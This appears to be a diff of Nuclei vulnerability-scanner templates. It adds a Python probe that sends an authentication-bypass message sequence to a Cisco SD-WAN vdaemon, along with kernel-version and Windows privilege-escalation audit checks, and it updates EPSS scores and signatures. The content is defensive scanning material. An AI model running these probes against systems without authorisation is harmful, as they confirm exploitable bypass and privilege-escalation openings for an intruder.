+              "openssl", "s_client",
+              "-dtls1_2",
+              "-connect", f"{host}:{port}",
+              "-cert",    cert_path,
+              "-key",     key_path,
+              "-no_ign_eof",
+              "-quiet",
+          ]
+          return subprocess.Popen(
+              cmd,
+              stdin=subprocess.PIPE,
+              stdout=subprocess.PIPE,
+              stderr=subprocess.PIPE,
+          )
+
+      def wait_for_data(fd, timeout_sec):
+          ready, _, _ = select.select([fd], [], [], timeout_sec)
+          if not ready:
+              return None
+          try:
+              data = os.read(fd.fileno(), 65536)
+              return data if data else None
+          except OSError:
+              return None
+
+      def send_message(proc, msg_type, body=b""):
+          message = build_header(msg_type) + body
+          try:
+              proc.stdin.write(message)
+              proc.stdin.flush()
+              return True
+          except (BrokenPipeError, OSError):
+              return False
+
+      def recv_message(proc, timeout_sec=10):
+          data = wait_for_data(proc.stdout, timeout_sec)
+          if not data or len(data) < 12:
+              return None, None
+          return data[:12], data[12:]
+
+      def check_vulnerability(host, port):
+          target = f"{host}:{port}"
+          print(f"[*] Testing target: {target}")
+
+          cert_path, key_path, tmpdir = generate_self_signed_cert()
+          if not cert_path:
+              print("[-] Certificate generation failed")
+              return False
+
+          proc = None
+          try:
+              proc = dtls_connect(host, port, cert_path, key_path)
+              time.sleep(3)
+
+              if proc.poll() is not None:
+                  print("[-] DTLS handshake failed")
+                  return False
+
+              hdr, _ = recv_message(proc, timeout_sec=12)
+              if hdr is None:
+                  print("[-] No CHALLENGE received")
+                  return False
+
+              msg_type = hdr_msg_type(hdr)
+              if msg_type != MSG_CHALLENGE:
+                  name = MSG_NAMES.get(msg_type, f"0x{msg_type:02X}")
+                  print(f"[-] Unexpected message type: {name}")
+                  return False
+
+              if not send_message(proc, MSG_CHALLENGE_ACK, build_challenge_ack_body()):
+                  print("[-] Failed to send CHALLENGE_ACK")
+                  return False
+
+              hdr, _ = recv_message(proc, timeout_sec=8)
+              if hdr is not None and hdr_msg_type(hdr) == MSG_TEAR_DOWN:
+                  print("[-] Server sent TEAR_DOWN — not vulnerable")
+                  return False
+
+              if not send_message(proc, MSG_HELLO, build_hello_body(port)):
+                  print(f"VULNERABLE: {target}")
+                  return True
+
+              hdr, _ = recv_message(proc, timeout_sec=8)
+              if hdr is not None:
+                  msg_type = hdr_msg_type(hdr)
+                  if msg_type == MSG_TEAR_DOWN:
+                      print("[-] Server sent TEAR_DOWN after Hello — not vulnerable")
+                      return False
+                  print(f"VULNERABLE: {target}")
+                  return True
+
+              print(f"VULNERABLE: {target}")
+              return True
+
+          except subprocess.TimeoutExpired:
+              print("[-] Operation timed out")
+              return False
+          except Exception as e:
+              print(f"[-] Error: {e}")
+              return False
+          finally:
+              if proc:
+                  try:
+                      proc.terminate()
+                      proc.wait(timeout=3)
+                  except Exception:
+                      try:
+                          proc.kill()
+                      except Exception:
+                          pass
+              shutil.rmtree(tmpdir, ignore_errors=True)
+
+      if __name__ == "__main__":
+          host = os.getenv("Host")
+          port = os.getenv("Port", "12346")
+
+          if not host:
+              print("Host environment variable not set")
+              exit(1)
+
+          try:
+              port = int(port)
+          except ValueError:
+              port = 12346
+
+          if check_vulnerability(host, port):
+              print("VULNERABLE: vHub CHALLENGE_ACK authentication bypass confirmed")
+          else:
+              print("Target appears to be patched or not Cisco SD-WAN vdaemon")
+
+    matchers:
+      - type: word
+        words:
+          - "VULNERABLE:"
+# digest: 4a0a004730450220127e8b7b1bd730a8383479424cc229fed8fac958ae28c20c10d456bf9d083e38022100c4851e5ca05359bac2cd2824c20fb649a60295365f456fb3b4bbd7025a24d7b4:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2026-24061
    cwe-id: CWE-88
-    epss-score: 0.82703
-    epss-percentile: 0.99215
+    epss-score: 0.98871
+    epss-percentile: 0.99921
  metadata:
    verified: true
    max-request: 1
@@ -49,4 +49,4 @@ code:
          - "Last login"
          - "Debian"
        condition: and
-# digest: 490a00463044022030d5f22cfccd30d84f8d7425a9e7baa39a7c7f05e66ccea3bd153ae37d7ec1380220659ff944da1564b646d8c0b77b2ae04198de881ab70245f36e172294ee3c11ec:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022011e8f400bf49429ac73ecf3a1f1dc2817f6fadacdcb9261415593da1ae6601b6022100c8f61b1763bb1cabbc7fbeba9931e06ff1ea95b16f402f17db5554e63740b0c2:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,142 @@
+id: CVE-2026-31431
+
+info:
+  name: Copy Fail - Linux Kernel Local Privilege Escalation via AF_ALG
+  author: ritikchaddha
+  severity: high
+  description: |
+    In the Linux kernel, the following vulnerability has been resolved: crypto: algif_aead - Revert to operating out-of-place This mostly reverts commit 72548b093ee3 except for the copying of the associated data. There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings. Get rid of all the complexity added for in-place operation and just copy the AD directly.
+  impact: |
+    A local attacker can escalate from any unprivileged user to root. The exploit:
+  remediation: |
+    Update the Linux kernel to a patched version. Upstream: 6.18.22+, 6.19.12+, 7.0+, LTS backports: 6.14.5+, 6.13.13+, 6.12.25+, 6.6.87+, 6.1.137+. If immediate patching is not possible, disable or blacklist the algif_aead kernel module
+  reference:
+    - https://discourse.ubuntu.com/t/fixes-available-for-cve-2026-31431-copy-fail-linux-kernel-local-privilege-escalation-vulnerability/81498
+    - https://cert.europa.eu/publications/security-advisories/2026-005
+    - https://xint.io/blog/copy-fail-linux-distributions
+    - https://nvd.nist.gov/vuln/detail/CVE-2026-31431
+  classification:
+    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 7.8
+    cve-id: CVE-2026-31431
+    epss-score: 0.96267
+    epss-percentile: 0.9987
+    cwe-id: CWE-787
+    cpe: cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 3
+    vendor: linux
+    product: linux_kernel
+  tags: cve,cve2026,code,kernel,linux,privesc,local,lpe,kev,vkev,vuln
+
+self-contained: true
+
+flow: code(1) && code(2) && code(3)
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      whoami
+
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "root"
+        negative: true
+        internal: true
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      uname -r
+
+    extractors:
+      - type: regex
+        name: kernel_version
+        part: response
+        regex:
+          - '^[0-9]+\.[0-9]+\.[0-9]+'
+        internal: true
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      KVER=$(uname -r)
+      MAJOR=$(echo "$KVER" | cut -d. -f1)
+      MINOR=$(echo "$KVER" | cut -d. -f2)
+      PATCH=$(echo "$KVER" | cut -d. -f3 | cut -d- -f1)
+      VULNERABLE=0
+
+      # Check if algif_aead module is loaded or built-in (required attack surface)
+      AEAD_PRESENT=0
+      if lsmod 2>/dev/null | grep -q "algif_aead"; then
+        AEAD_PRESENT=1
+      elif [ -f /proc/modules ] && grep -q "algif_aead" /proc/modules 2>/dev/null; then
+        AEAD_PRESENT=1
+      elif [ -f "/lib/modules/$KVER/kernel/crypto/algif_aead.ko" ] || \
+           [ -f "/lib/modules/$KVER/kernel/crypto/algif_aead.ko.zst" ] || \
+           [ -f "/lib/modules/$KVER/kernel/crypto/algif_aead.ko.xz" ]; then
+        AEAD_PRESENT=1
+      elif [ -f "/boot/config-$KVER" ] && grep -q "Cy" "/boot/config-$KVER" 2>/dev/null; then
+        AEAD_PRESENT=1
+      elif [ -f /proc/config.gz ] && zcat /proc/config.gz 2>/dev/null | grep -q "Cy"; then
+        AEAD_PRESENT=1
+      fi
+
+      # Introduced in ~4.14 (commit 72548b093ee3). Patched upstream: 6.18.22, 6.19.12, 7.0+
+      # LTS backports: 6.14.5, 6.13.13, 6.12.25, 6.6.87, 6.1.137
+      if [ "$MAJOR" -eq 4 ] && [ "$MINOR" -ge 14 ]; then
+        VULNERABLE=1
+      elif [ "$MAJOR" -eq 5 ]; then
+        VULNERABLE=1
+      elif [ "$MAJOR" -eq 6 ]; then
+        if [ "$MINOR" -le 0 ]; then VULNERABLE=1
+        elif [ "$MINOR" -eq 1 ] && [ "$PATCH" -le 136 ]; then VULNERABLE=1
+        elif [ "$MINOR" -ge 2 ] && [ "$MINOR" -le 5 ]; then VULNERABLE=1
+        elif [ "$MINOR" -eq 6 ] && [ "$PATCH" -le 86 ]; then VULNERABLE=1
+        elif [ "$MINOR" -ge 7 ] && [ "$MINOR" -le 11 ]; then VULNERABLE=1
+        elif [ "$MINOR" -eq 12 ] && [ "$PATCH" -le 24 ]; then VULNERABLE=1
+        elif [ "$MINOR" -eq 13 ] && [ "$PATCH" -le 12 ]; then VULNERABLE=1
+        elif [ "$MINOR" -eq 14 ] && [ "$PATCH" -le 4 ]; then VULNERABLE=1
+        elif [ "$MINOR" -ge 15 ] && [ "$MINOR" -le 17 ]; then VULNERABLE=1
+        elif [ "$MINOR" -eq 18 ] && [ "$PATCH" -le 21 ]; then VULNERABLE=1
+        elif [ "$MINOR" -eq 19 ] && [ "$PATCH" -le 11 ]; then VULNERABLE=1
+        fi
+      fi
+
+      if [ "$VULNERABLE" -eq 1 ]; then
+        if [ "$AEAD_PRESENT" -eq 1 ]; then
+          echo "VULNERABLE: kernel $KVER - algif_aead module present, version in affected range"
+        else
+          echo "VULNERABLE: kernel $KVER - version in affected range (algif_aead module status unknown, may be loadable)"
+        fi
+      else
+        echo "NOT_VULNERABLE: kernel $KVER"
+      fi
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "VULNERABLE:"
+
+      - type: word
+        part: response
+        words:
+          - "NOT_VULNERABLE"
+        negative: true
+
+    extractors:
+      - type: regex
+        name: detection_detail
+        part: response
+        regex:
+          - 'VULNERABLE:.*'
+# digest: 4a0a00473045022100e058f2d5f55fad7a3fb789ff8f71e2fd5aa4ca8c22c1322f282bf8b2e00f6bf202204f95658677e444614a29df15e5f9a0d0d33bd6a0be8bcdc67189762700ed4455:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,36 @@
+id: default-admin-account-enabled
+
+info:
+  name: Default Administrator Account Enabled
+  author: boonchuan
+  severity: medium
+  description: |
+    Detected built-in Administrator account was enabled, which is a common target for brute-force and credential stuffing attacks.
+  impact: |
+    The default Administrator account has a well-known SID and is frequently targeted by attackers. Leaving it enabled increases the attack surface.
+  remediation: |
+    Disable the built-in Administrator account and use a separate named admin account for administrative tasks. Run: net user Administrator /active:no
+  reference:
+    - https://www.cyber.gov.au/acsc/view-all-content/publications/essential-eight-maturity-model
+    - https://learn.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts
+  metadata:
+    verified: false
+  tags: windows,admin,privileges,compliance,essential-eight,code,windows-audit
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      $admin = Get-LocalUser -Name 'Administrator' -ErrorAction SilentlyContinue; if ($admin -and $admin.Enabled) { 'True' } else { 'False' }
+    matchers:
+      - type: word
+        words:
+          - "True"
+# digest: 4a0a00473045022100f0b58e6b5a9b3631af0243f2f37b0b73fe428c208fd97eee1512c86e5ad67a0f02207f8e08fa3081b1e0b8b787e3dee5b2353a994b01ac1a861e1d73f58840f7e80d:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,36 @@
+id: office-macros-not-restricted
+
+info:
+  name: Microsoft Office Macros Not Restricted
+  author: boonchuan
+  severity: high
+  description: |
+    Detected Microsoft Office macro restrictions were not configured, increasing the risk of macro-based malware delivery through Office documents.
+  impact: |
+    Unrestricted macros allow attackers to deliver malware through Office documents, a common initial access vector.
+  remediation: |
+    Configure Group Policy to disable macros: User Configuration > Administrative Templates > Microsoft Office > Security > VBA Macro Notification Settings > Disable all without notification (VBAWarnings = 4).
+  reference:
+    - https://www.cyber.gov.au/acsc/view-all-content/publications/essential-eight-maturity-model
+    - https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked
+  metadata:
+    verified: false
+  tags: windows,office,macros,compliance,essential-eight,code,windows-audit
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      $apps = @('Word','Excel','PowerPoint'); $unrestricted = $false; foreach ($app in $apps) { $val = (Get-ItemProperty -Path "HKCU:\Software\Policies\Microsoft\Office\16.0\$app\Security" -Name 'VBAWarnings' -ErrorAction SilentlyContinue).VBAWarnings; if ($null -eq $val -or $val -lt 3) { $unrestricted = $true } }; if ($unrestricted) { 'True' } else { 'False' }
+    matchers:
+      - type: word
+        words:
+          - "True"
+# digest: 4b0a004830460221008ef29cc9a13f406e48ba33e113cbf16313826513c7902305714c9811dc0139c1022100cc65712090e08cf9ef85ce4eb684425d21c66c69b1193d2d287c60e03f725d69:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,36 @@
+id: windows-auto-update-disabled
+
+info:
+  name: Windows Automatic Updates Disabled
+  author: boonchuan
+  severity: high
+  description: |
+    Detected Windows automatic updates were found disabled, leaving the system vulnerable to unpatched security flaws.
+  impact: |
+    Systems without automatic updates will miss critical security patches, increasing exposure to known vulnerabilities and exploits.
+  remediation: |
+    Enable automatic updates via Group Policy: Computer Configuration > Administrative Templates > Windows Components > Windows Update > Configure Automatic Updates > set to Auto download and schedule install.
+  reference:
+    - https://www.cyber.gov.au/acsc/view-all-content/publications/essential-eight-maturity-model
+    - https://learn.microsoft.com/en-us/windows/deployment/update/waas-wu-settings
+  metadata:
+    verified: false
+  tags: windows,updates,patching,compliance,essential-eight,code,windows-audit
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      $au = Get-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU' -ErrorAction SilentlyContinue; if ($au -and $au.NoAutoUpdate -eq 1) { 'True' } else { 'False' }
+    matchers:
+      - type: word
+        words:
+          - "True"
+# digest: 4a0a00473045022100ddcd4a1983a75eff3d9837110072c2a1665f9a37f618a2b4dc10f82234608def02203f127fd2e6fc34706eac60ae681e29f33a0a099855daa983ca0a1e41ee2aeb37:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,45 @@
+id: unquoted-service-paths
+
+info:
+  name: Unquoted Service Paths
+  author: domwhewell-sage
+  severity: high
+  description: |
+    Detects windows services with unquoted paths that contain spaces. This misconfiguration can lead to local privilege escalation via execution of a malicious binary placed in the path.
+  reference:
+    - https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#unquoted-service-paths
+  metadata:
+    verified: true
+  tags: windows,services,code,windows-audit
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      # Get services using WMI
+      $services = Get-WmiObject -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select Name,DisplayName,StartMode,PathName
+
+      foreach ($service in $services) {
+        $path = $service.PathName
+        if ($path -match ' ') {
+          $binaryPath = $path.Split("/")[0]
+          if (Test-Path "$binaryPath") {
+            Write-Output "$($service.Name) : $path"
+          }
+        }
+      }
+
+    extractors:
+      - type: regex
+        regex:
+          - ".+ : .+"
+# digest: 4a0a00473045022100f56bd1f0edcd741e70fbf654856d27b0562811acf8fdad3ee4a42ba5bacd9b2a02205b50b582fa2e063a3c5357804231816991e6357fc4ebbc109910dc67dbede8bf:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,67 @@
+id: weak-service-binary-permissions
+
+info:
+  name: Weak Service Binary Permissions
+  author: domwhewell-sage
+  severity: high
+  description: |
+    Detects weak Windows service binary permissions that could allow non-administrative users to modify the service binary, potentially leading to local privilege escalation.
+  reference:
+    - https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#modify-service-binary-path
+  tags: windows,services,code,windows-audit,privesc
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      $services = Get-WmiObject -Class Win32_Service -Property Name, DisplayName, PathName, StartMode, StartName |
+        Where-Object { $_.PathName -and $_.PathName -notlike 'C:\Windows\*' }
+
+      foreach ($service in $services) {
+        $rawPath = $service.PathName.Trim()
+
+        # Extract binary path: handle quoted and unquoted paths with arguments
+        if ($rawPath.StartsWith('"')) {
+          $binaryPath = ($rawPath -split '"')[1]
+        } else {
+          $binaryPath = ($rawPath -split ' (?=-)')[0].Trim()
+          if (-not (Test-Path $binaryPath -ErrorAction SilentlyContinue)) {
+            $binaryPath = ($rawPath -split '\.exe')[0] + '.exe'
+          }
+        }
+
+        if (-not (Test-Path $binaryPath -ErrorAction SilentlyContinue)) { continue }
+
+        $acl = Get-Acl $binaryPath -ErrorAction SilentlyContinue
+        if (-not $acl) { continue }
+
+        foreach ($access in $acl.Access) {
+          $rights = $access.FileSystemRights.ToString()
+          $identity = $access.IdentityReference.ToString()
+
+          if ($rights -match "Write|FullControl|Modify" -and
+              $identity -notmatch "NT AUTHORITY\\SYSTEM|BUILTIN\\Administrators|NT AUTHORITY\\LOCAL SERVICE|NT AUTHORITY\\NETWORK SERVICE|TrustedInstaller") {
+            Write-Output "$identity can $rights the service binary at $binaryPath for service '$($service.Name)' running as '$($service.StartName)' on '$($service.StartMode)' mode"
+          }
+        }
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "the service binary at"
+
+    extractors:
+      - type: regex
+        regex:
+          - ".+ the service binary at .+"
+# digest: 490a0046304402201a22dd84e886cd1a39b2410dcfc77f56c8e78046403233fec4e63a40e44cf3db02206c19c3eb4be47f3a4822d2f74f35d7343e70be7d437d386f8550023d040209de:922c64590222798bb761d5b6d8e72950
@@ -1519,5 +1519,15 @@
            "website": "https://halilkirazkaya.com",
            "email": "[email protected]"
        }
+    },
+    {
+        "author": "marcialpaulg",
+        "links": {
+            "github": "https://github.com/marcialpaulg",
+            "twitter": "",
+            "linkedin": "https://www.linkedin.com/in/marcialpaulg/",
+            "website": "https://marcialpaulg.com",
+            "email": "[email protected]"
+        }
    }
 ]
@@ -1 +1 @@
-1583542237f6bb6b9a0067fff9bc162a
+f41fb6aca06836485c29dcab0865f337
@@ -20,8 +20,8 @@ info:
    cvss-score: 7.5
    cve-id: CVE-2018-19518
    cwe-id: CWE-88
-    epss-score: 0.93956
-    epss-percentile: 0.99877
+    epss-score: 0.9523
+    epss-percentile: 0.99855
  metadata:
    max-request: 1
    confidence: tenative
@@ -53,4 +53,4 @@ http:
        part: interactsh_request
        words:
          - "User-Agent: curl"
-# digest: 4a0a00473045022010249f94edbccee6536f814bcfafdd30f3413c1e3f530e35050f19f5c8205740022100e418591c3739d69fe1b5c7b6c59e096070724068ca5833a94d10761881aac8a9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d86e59a5a04ceb71e390ab7ecf4c585e967313ce0f42e028b272c05bf0fc74520220735e80e46260f014f03d7a0799e7dc4a7a11d60f5f2ca4f1235e1dfa8b9d455f:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 8.8
    cve-id: CVE-2020-9402
    cwe-id: CWE-89
-    epss-score: 0.82513
-    epss-percentile: 0.99203
+    epss-score: 0.22513
+    epss-percentile: 0.97426
    cpe: cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*
  metadata:
    vendor: djangoproject
@@ -54,4 +54,4 @@ http:
          - "ORA-06512:"
          - "Request Method:"
        condition: and
-# digest: 4b0a00483046022100e462c68e48e4dacc9536b012f868becbe19855d8a7aa6c3a02c4970f5972222d02210085e3e1ccddba43bffba5e17e602e79cf5e419f45dd0ec664b93df5ab2cd2aa31:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100caef44b2bae34bcce37ebeb77449f1b27ed74c5eacd107b4b28ac8ed5881bb700221009c4fd705cc2013bbce0ed193812e36132de56f6f0f58334fcec15e90686b66db:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2021-35042
    cwe-id: CWE-89
-    epss-score: 0.89336
-    epss-percentile: 0.99531
+    epss-score: 0.44369
+    epss-percentile: 0.98609
  metadata:
    verified: true
    fofa-query: body="ProgrammingError" && body="ORDER BY"
@@ -66,4 +66,4 @@ http:
          - 'FROM\s+`([a-zA-Z_][a-zA-Z0-9_]*)`'
          - 'relation\s+([a-zA-Z_][a-zA-Z0-9_]*)'
          - "Table\\s+'[^']*\\.([a-zA-Z_][a-zA-Z0-9_]*)'"
-# digest: 4a0a00473045022100d260f4f482140946d91ccd87aa831fcd02b0ac83808c1653c70f21de90c6f0f5022019befe362d698f7e26928872e4e5e3bdaf72b6b3c6a990f4994f70457f196a20:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204705d74ad6dcf0f5a9bb1ebf85e259abc97cfc30f3736c4e2799799501b510dd022076e17848bfaadabb2fa7e887138324f19c90a713231b5fc9ee5b6060b394abdf:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-score: 9
    cve-id: CVE-2021-45046
    cwe-id: CWE-502
-    epss-score: 0.9434
-    epss-percentile: 0.99952
+    epss-score: 0.99977
+    epss-percentile: 0.9998
  metadata:
    max-request: 1
    confidence: tenative
@@ -66,4 +66,4 @@ http:
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 4b0a00483046022100d0d9d704e6800dc7c005996de14e350928a3117cfa64ec8833ee9b8ba05497e1022100b8fa0e122fd4f9c35f7a1c5b038acea4de21c37bc6028118f0a4746b4f6f140a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201b3762cd94d7077d3e322fe61c1045a80e07c1d111cc71a6075fc9ba1f184595022100dc2be6f8ae39f6801a84e41f77c752fa19f3a3fb1a10e9c1a7badada488b2474:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2022-22965
    cwe-id: CWE-94
-    epss-score: 0.94428
-    epss-percentile: 0.99982
+    epss-score: 0.99677
+    epss-percentile: 0.99948
    cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -59,4 +59,4 @@ http:
        words:
          - "User-Agent: Java"
        case-insensitive: true
-# digest: 4b0a00483046022100c0534bbe89cf4978b16c86b5573eaf92b2217d921d63cd5991a3cee63c62b608022100909db99c5a95b553d9c31ec949c5cce534fdbdc1f4fe5239d82add4720002c9b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201c63e812eeb0bcbeb9c858a41f50b8c73f41e06e7c42e98090d6c0835c2230bc02210098925684d40a4ce4ad2f6cdf80e29bf6d10205a063226defc65524e5b399904f:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2022-34265
    cwe-id: CWE-89
-    epss-score: 0.92834
-    epss-percentile: 0.99757
+    epss-score: 0.73274
+    epss-percentile: 0.99392
  tags: sqli,dast,vulhub,cve,cve2022,django,vuln

 variables:
@@ -50,4 +50,4 @@ http:
      - type: status
        status:
          - 500
-# digest: 4b0a00483046022100d2ecb875ce4552582228bc1612e7f74d96d1e417bfe401037be5e1c2244616ca022100c17bde1fa33a79910d94236082c1aeeebf5893e9a81398f0ef4b1c839d9766a0:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022001b30a141ee254aaa0acb94b35d33ee77adf4ee135a209ce5975b7aafff87e9a022100f1eac2430af11fc8d61bbd426155540f71ff9f49037d6b881ee7989301fa2ea3:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2022-42889
    cwe-id: CWE-94
-    epss-score: 0.94251
-    epss-percentile: 0.99928
+    epss-score: 0.99931
+    epss-percentile: 0.99968
  metadata:
    max-request: 1
    confidence: tenative
@@ -70,4 +70,4 @@ http:
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 4b0a00483046022100dcb5de9b4ee80fdcaebda61a4cf20165e96a69e6ad01295c24675b9d947eaec0022100b34f17fa488da15d20a81b100296ef20e4c74cba0ac2fd98aa864a4512ea8301:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220608e0f72009f09b999c75f034bbe885b3694a0c68ba6e0eaead510bf493a9ad3022100daec500dedf90c03341c5b110bbe2c48240c19db066eed1eca976d4bd13b0b47:922c64590222798bb761d5b6d8e72950
@@ -18,8 +18,8 @@ info:
    cvss-score: 7.3
    cve-id: CVE-2024-2961
    cwe-id: CWE-787
-    epss-score: 0.9286
-    epss-percentile: 0.99759
+    epss-score: 0.8833
+    epss-percentile: 0.99752
  tags: cve,cve2024,php,iconv,glibc,lfr,rce,dast,vkev,vuln

 flow: http(1) && http(2)
@@ -57,4 +57,4 @@ http:
      - type: regex
        regex:
          - "root:x:0:0"
-# digest: 4a0a00473045022100f907542db7264619c5c626e1f31217b47a323b01edb4689a6a5e2c6bf71991df02201a7c90fb59ce5fcd63285e072dde29901ad1fb4805316c7e52761d41897df974:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008529646911e2aa9a9839746fad41ccbb4d173feb699adac86508097e50175ac302202fba7504078148bd0b1f297bafbfcd156a23065edbf63dd892560c4c986a43e1:922c64590222798bb761d5b6d8e72950
@@ -2,7 +2,7 @@ id: azure-takeover-detection

 info:
  name: Microsoft Azure Takeover Detection
-  author: pdteam
+  author: pdteam,zy9ard3
  severity: high
  description: Microsoft Azure is vulnerable to subdomain takeover attacks. Subdomain takeovers are a common, high-severity threat for organizations that regularly create and delete many resources. A subdomain takeover can occur when a D>
  reference:
@@ -28,27 +28,24 @@ dns:
          - NXDOMAIN
      - type: dsl
        dsl:
-          - 'contains(cname, "azure-api.net")'
-          - 'contains(cname, "azure-mobile.net")'
-          - 'contains(cname, "azurecontainer.io")'
-          - 'contains(cname, "azurecr.io")'
-          - 'contains(cname, "azuredatalakestore.net")'
-          - 'contains(cname, "azureedge.net")'
-          - 'contains(cname, "azurefd.net")'
-          - 'contains(cname, "azurehdinsight.net")'
-          - 'contains(cname, "azurewebsites.net")'
-          - 'contains(cname, "azurewebsites.windows.net")'
-          - 'contains(cname, "blob.core.windows.net")'
-          - 'contains(cname, "cloudapp.azure.com")'
-          - 'contains(cname, "database.windows.net")'
-          - 'contains(cname, "redis.cache.windows.net")'
-          - 'contains(cname, "search.windows.net")'
-          - 'contains(cname, "servicebus.windows.net")'
-          - 'contains(cname, "trafficmanager.net")'
-          - 'contains(cname, "visualstudio.com")'
-          - 'contains(cname, "web.core.windows.net")'
+          - 'contains(cname, ".azure-api.net")'
+          - 'contains(cname, ".azure-mobile.net")'
+          - 'contains(cname, ".azurecontainer.io")'
+          - 'contains(cname, ".azurecr.io")'
+          - 'contains(cname, ".azuredatalakestore.net")'
+          - 'contains(cname, ".azurefd.net")'
+          - 'contains(cname, ".azurehdinsight.net")'
+          - 'contains(cname, ".azurewebsites.windows.net")'
+          - 'contains(cname, ".blob.core.windows.net")'
+          - 'contains(cname, ".database.windows.net")'
+          - 'contains(cname, ".redis.cache.windows.net")'
+          - 'contains(cname, ".search.windows.net")'
+          - 'contains(cname, ".servicebus.windows.net")'
+          - 'contains(cname, ".visualstudio.com")'
+          - 'contains(cname, ".web.core.windows.net")'
+
    extractors:
      - type: dsl
        dsl:
          - cname
-# digest: 490a0046304402205c817606f9ab5e9a0c5123c6305e9ffcb9aca3cea193965a883b8c57fe652a22022051050dd472f9b766905aa99037d38114b9d1e3af28cf214413bcc8dd62bb2e5d:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ea21a22d694a45d9a60b0516c99fff75fe6d21ef1c4ed0d47fbf1db3d3dd69cc022100ecd0145636ed5359db7041e191d866f9bf7dd5817b678c22b49be84463e6a814:922c64590222798bb761d5b6d8e72950
@@ -17,15 +17,17 @@ dns:
  - name: "{{FQDN}}"
    type: CAA
    matchers:
-      - type: regex
-        regex:
-          - "IN\\s+CAA\\s+(.+)"
+      - type: word
+        words:
+          - "CAA"
+        part: answer

    extractors:
      - type: regex
+        part: answer
        group: 1
        regex:
          - 'issue "(.*)"'
          - 'issuewild "(.*)"'
          - 'iodef "(.*)"'
-# digest: 4b0a00483046022100e4c82da722d350948af95c040abdc7c52addee398cf921ec654fd1cf5c1c758a0221008ac947ce44a10cb1238843cde9c77329e19a6803b384c6265c95fddc75e94b27:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b457768e899a74ac8b817b13b2fb78fa3fa4e76546df342d6696f333e283723b022100bb3a8002d61cd3840e8f4e6c1df97429cc92aa5f4a6295efa2481c5d0d8a2f5f:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,43 @@
+id: dns-internal-ip-disclosure
+
+info:
+  name: Public DNS Resolving to Private IP Addresses
+  author: infosec-asish,DevamShah
+  severity: info
+  description: |
+    Detected when a public domain's DNS A records resolved to private or reserved IP addresses, potentially revealing internal network topology to external parties.
+  reference:
